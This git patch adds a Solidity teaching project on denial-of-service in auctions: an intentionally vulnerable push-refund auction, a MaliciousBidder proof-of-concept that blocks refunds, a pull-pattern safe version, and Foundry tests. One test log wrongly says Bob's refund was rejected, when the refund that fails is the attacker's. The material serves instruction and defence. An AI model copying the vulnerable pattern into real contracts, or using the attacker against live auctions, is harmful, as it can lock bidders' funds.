From a32348139df12a211bb28a3c1ca074ed636df42d Mon Sep 17 00:00:00 2001 From: Ishan Lakhwani Date: Fri, 27 Dec 2024 22:21:58 +0530 Subject: [PATCH] dos attack POC completed --- src/denial-of-service/MaliciousBidder.sol | 21 ++++++ src/denial-of-service/SafeAuction.sol | 73 +++++++++++++++++++ src/denial-of-service/VulnerableAuction.sol | 41 +++++++++++ test/DoSTest.t.sol | 70 ++++++++++++++++++ test/SafeDoSTest.t.sol | 79 +++++++++++++++++++++ 5 files changed, 284 insertions(+) create mode 100644 src/denial-of-service/MaliciousBidder.sol create mode 100644 src/denial-of-service/SafeAuction.sol create mode 100644 src/denial-of-service/VulnerableAuction.sol create mode 100644 test/DoSTest.t.sol create mode 100644 test/SafeDoSTest.t.sol diff --git a/src/denial-of-service/MaliciousBidder.sol b/src/denial-of-service/MaliciousBidder.sol new file mode 100644 index 0000000..19a53b4 --- /dev/null +++ b/src/denial-of-service/MaliciousBidder.sol @@ -0,0 +1,21 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import "./VulnerableAuction.sol"; + +/// @title Malicious Bidder Contract +/// @author Ishan Lakhwani +/// @notice This contract demonstrates how to perform a DoS attack on the auction +/// @dev This is an educational example of what NOT to do + +contract MaliciousBidder { + VulnerableAuction public auction; + + constructor(VulnerableAuction _auction) { + auction = _auction; + } + + function attack() public payable { + auction.placeBid{value: msg.value}(); + } +} diff --git a/src/denial-of-service/SafeAuction.sol b/src/denial-of-service/SafeAuction.sol new file mode 100644 index 0000000..fdd584b --- /dev/null +++ b/src/denial-of-service/SafeAuction.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +/// @title Safe Auction Contract +/// @author Ishan Lakhwani +/// @notice This contract demonstrates a DoS-resistant auction system using pull pattern +/// @dev This is a safer implementation using pull over push pattern + +contract SafeAuction { + // Events + event NewHighestBid(address indexed bidder, uint256 amount); + event RefundClaimed(address indexed bidder, uint256 amount); + + // State variables + address public highestBidder; + uint256 public highestBid; + + // Mapping to track refunds + mapping(address => uint256) public pendingReturns; + + /// @notice Place a new bid + /// @dev Uses pull pattern - stores refunds for later withdrawal + function placeBid() external payable { + require(msg.value > highestBid, "Bid not high enough"); + + // Add previous highest bid to pending returns + if (highestBidder != address(0)) { + pendingReturns[highestBidder] += highestBid; + } + + // Update auction state + highestBid = msg.value; + highestBidder = msg.sender; + + emit NewHighestBid(msg.sender, msg.value); + } + + /// @notice Withdraw pending refunds + /// @dev Allows users to pull their refunds + /// @return success Whether the withdrawal was successful + function withdrawRefund() external returns (bool success) { + uint256 amount = pendingReturns[msg.sender]; + if (amount > 0) { + // Reset pending return before sending to prevent re-entrancy + pendingReturns[msg.sender] = 0; + + // Send refund + (bool sent,) = msg.sender.call{value: amount}(""); + if (!sent) { + // Restore the amount if send fails + pendingReturns[msg.sender] = amount; + return false; + } + emit RefundClaimed(msg.sender, amount); + return true; + } + return false; + } + + /// @notice Get the current auction state + /// @return _highestBidder The address of the current highest bidder + /// @return _highestBid The current highest bid amount + function getAuctionState() external view returns (address _highestBidder, uint256 _highestBid) { + return (highestBidder, highestBid); + } + + /// @notice Get pending refund amount for an address + /// @param bidder The address to check + /// @return amount The amount of pending refund + function getPendingRefund(address bidder) external view returns (uint256) { + return pendingReturns[bidder]; + } +} diff --git a/src/denial-of-service/VulnerableAuction.sol b/src/denial-of-service/VulnerableAuction.sol new file mode 100644 index 0000000..c0805c9 --- /dev/null +++ b/src/denial-of-service/VulnerableAuction.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +/// @title Vulnerable Auction Contract +/// @author Ishan Lakhwani +/// @notice This contract demonstrates a vulnerable auction system prone to DoS attacks +/// @dev This contract is for demonstration purposes only - DO NOT USE IN PRODUCTION + +contract VulnerableAuction { + // Events + event NewHighestBid(address indexed bidder, uint256 amount); + event BidRefunded(address indexed bidder, uint256 amount); + + // State variables + address public highestBidder; + uint256 public highestBid; + + function placeBid() external payable { + require(msg.value > highestBid, "Bid not high enough"); + + address previousBidder = highestBidder; + uint256 previousBid = highestBid; + + // Update auction state + highestBid = msg.value; + highestBidder = msg.sender; + + emit NewHighestBid(msg.sender, msg.value); + + // Refund the previous bidder + if (previousBidder != address(0)) { + (bool sent,) = previousBidder.call{value: previousBid}(""); + require(sent, "Failed to refund previous bidder"); + emit BidRefunded(previousBidder, previousBid); + } + } + + function getAuctionState() public view returns (address, uint256) { + return (highestBidder, highestBid); + } +} diff --git a/test/DoSTest.t.sol b/test/DoSTest.t.sol new file mode 100644 index 0000000..4ac4a6f --- /dev/null +++ b/test/DoSTest.t.sol @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/denial-of-service/VulnerableAuction.sol"; +import "../src/denial-of-service/MaliciousBidder.sol"; + +contract DoSTest is Test { + VulnerableAuction public auction; + MaliciousBidder public attacker; + + address alice = makeAddr("alice"); + address bob = makeAddr("bob"); + address carol = makeAddr("carol"); + + function setUp() public { + // Setup initial balances + vm.deal(alice, 5 ether); + vm.deal(bob, 5 ether); + vm.deal(carol, 5 ether); + + // Deploy contracts + auction = new VulnerableAuction(); + attacker = new MaliciousBidder(auction); + + console.log("\n[DoS-Test] Setting up auction demonstration"); + console.log("----------------------------------------"); + _logAuctionState("Initial State"); + } + + function testDoSAttack() public { + // Alice places first bid + vm.prank(alice); + auction.placeBid{value: 1 ether}(); + console.log("[DoS-Test] Alice placed bid of 1 ether"); + _logAuctionState("After Alice's bid"); + + // Bob places higher bid + vm.prank(bob); + auction.placeBid{value: 2 ether}(); + console.log("[DoS-Test] Bob placed bid of 2 ether"); + console.log("[DoS-Test] Alice received refund of 1 ether"); + _logAuctionState("After Bob's bid"); + + // Attacker places malicious bid + vm.deal(address(attacker), 3 ether); + attacker.attack{value: 3 ether}(); + console.log("[DoS-Test] Attacker placed bid of 3 ether"); + console.log("[DoS-Test] Bob should receive refund of 2 ether"); + console.log("[DoS-Test] Attack successful - Bob's refund was rejected"); + _logAuctionState("After Attacker's bid"); + + // Carol tries to place a bid but fails + vm.prank(carol); + vm.expectRevert("Failed to refund previous bidder"); + auction.placeBid{value: 4 ether}(); + console.log("[DoS-Test] Carol's bid of 4 ether failed as expected"); + console.log("[DoS-Test] Auction is now permanently stuck!"); + _logAuctionState("Final State"); + } + + function _logAuctionState(string memory state) internal view { + (address currentBidder, uint256 currentBid) = auction.getAuctionState(); + console.log("\n=== Auction State: %s ===", state); + console.log("Highest Bidder: %s", currentBidder); + console.log("Highest Bid: %s wei", currentBid); + console.log("================================\n"); + } +} diff --git a/test/SafeDoSTest.t.sol b/test/SafeDoSTest.t.sol new file mode 100644 index 0000000..4001741 --- /dev/null +++ b/test/SafeDoSTest.t.sol @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/denial-of-service/SafeAuction.sol"; +import "../src/denial-of-service/MaliciousBidder.sol"; + +contract SafeDoSTest is Test { + SafeAuction public auction; + MaliciousBidder public attacker; + + address alice = makeAddr("alice"); + address bob = makeAddr("bob"); + address carol = makeAddr("carol"); + + function setUp() public { + // Setup initial balances + vm.deal(alice, 5 ether); + vm.deal(bob, 5 ether); + vm.deal(carol, 5 ether); + + // Deploy contracts + auction = new SafeAuction(); + + console.log("\n[SafeDoS-Test] Setting up auction demonstration"); + console.log("----------------------------------------"); + _logAuctionState("Initial State"); + } + + function testSafeAuction() public { + // Alice places first bid + vm.prank(alice); + auction.placeBid{value: 1 ether}(); + console.log("[SafeDoS-Test] Alice placed bid of 1 ether"); + _logAuctionState("After Alice's bid"); + + // Bob places higher bid + vm.prank(bob); + auction.placeBid{value: 2 ether}(); + console.log("[SafeDoS-Test] Bob placed bid of 2 ether"); + _logPendingRefund(alice, "Alice's pending refund"); + + // Alice withdraws her refund + vm.prank(alice); + bool aliceWithdrawSuccess = auction.withdrawRefund(); + assertTrue(aliceWithdrawSuccess, "Alice should be able to withdraw"); + console.log("[SafeDoS-Test] Alice successfully withdrew her refund"); + + // Carol places even higher bid + vm.prank(carol); + auction.placeBid{value: 3 ether}(); + console.log("[SafeDoS-Test] Carol placed bid of 3 ether"); + _logPendingRefund(bob, "Bob's pending refund"); + + // Bob withdraws his refund + vm.prank(bob); + bool bobWithdrawSuccess = auction.withdrawRefund(); + assertTrue(bobWithdrawSuccess, "Bob should be able to withdraw"); + console.log("[SafeDoS-Test] Bob successfully withdrew his refund"); + + _logAuctionState("Final State"); + } + + function _logAuctionState(string memory state) internal view { + (address currentBidder, uint256 currentBid) = auction.getAuctionState(); + console.log("\n=== Auction State: %s ===", state); + console.log("Highest Bidder: %s", currentBidder); + console.log("Highest Bid: %s wei", currentBid); + console.log("================================\n"); + } + + function _logPendingRefund(address bidder, string memory label) internal view { + uint256 pendingAmount = auction.getPendingRefund(bidder); + console.log("\n=== %s ===", label); + console.log("Amount: %s wei", pendingAmount); + console.log("================================\n"); + } +}